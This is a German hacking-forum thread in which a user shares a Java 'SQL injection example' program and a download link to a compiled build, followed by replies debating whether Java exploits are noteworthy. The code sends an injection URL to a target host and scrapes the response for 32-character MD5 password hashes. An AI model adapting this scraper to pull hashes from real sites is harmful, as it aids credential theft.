Java einsetzen für Exploit Programmierung > Es klappt !

[Hassia]

Es hat jemand geschafft einen Exploit zu programmieren unter Java :KA

/*
SQL Injection Example
www.bifrostworld.org
*/

import java.net.*;
import java.io.*;
import java.util.regex.*;
import java.util.*;
import java.io.InputStream;

class SQL {
   public static void main(String[] args){


  //Host URl without http://
  String host="";
  //Injection goes here
  String inject = "";
  String victim = "http://" + host + inject;

   try{
     URL url = new URL(victim);
     URLConnection connect = url.openConnection();
     InputStream in = connect.getInputStream();
     Scanner s = new Scanner(in);

     while(s.hasNext()){
       Pattern pat = Pattern.compile("([a-f0-9]{32})");
       Matcher match = pat.matcher(s.next());

       if(match.find()){
         System.out.println(match.group());
       }else{
         System.out.println("No hash found");
       }
     }
   }catch(Exception e){
     System.out.println(e);
   }
   }
}

Fertig compilt :
http://ul.to/w4aghk

Screenshot :

[l0dsb]

Und was ist daran nun so besonders? o0

[Sirect]

Ja und? Java hat Sockets, warum soll man da keine Exploits schreiben können?

[Hassia]

Und warum gibt es sowas kaum?

[hackerking]

Jop wäre doch besserer wenn es Exploits mit GUIs geäbe...

[Hassia]

Es geht aber darum, dass es in Java geschrieben wurde. Außerdem ist es lediglich ein Beispiel wie sowas aussehen kann. Glaube kaum, dass sich hier einer jemals wirklich mit Java auseinander gesetzt hat, sondern einfach nur irgendwas daher redet.

[hpoc]

Ich Frage mich auch gerade was daran so besonders sein solle.

[J0hn.X3r]

Jop wäre doch besserer wenn es Exploits mit GUIs geäbe...

Ich find ohne GUI siehts besser aus.

Und was das besondere ist:

Ich denk einfach, dass es wenig Java Exploits gibt, und es daher etwas besonderes ist.

[enco]

Ein Exploit in Ook oder Brainfuck wäre cool, aber an java finde ich nichts besonderes ...

[int_main();]

JAVA != SOFORT GUI

könnt auch exploits mit gui in vb,perl,php,und whatever coden, eben alles was bibliotheken für guis bereitstellt

exploits sind im eigentlichen sinne, nur funktionsbeweiße zur ausnutzung einer Sicherheitslücke,.

Und da nimmt man eben eher Schnelle und verbreitete Script Sprachen wie z.B Perl oder PHP.

Wieso sollte jemand eine extra einen GUI für einen Proof of Concept bereitstellen.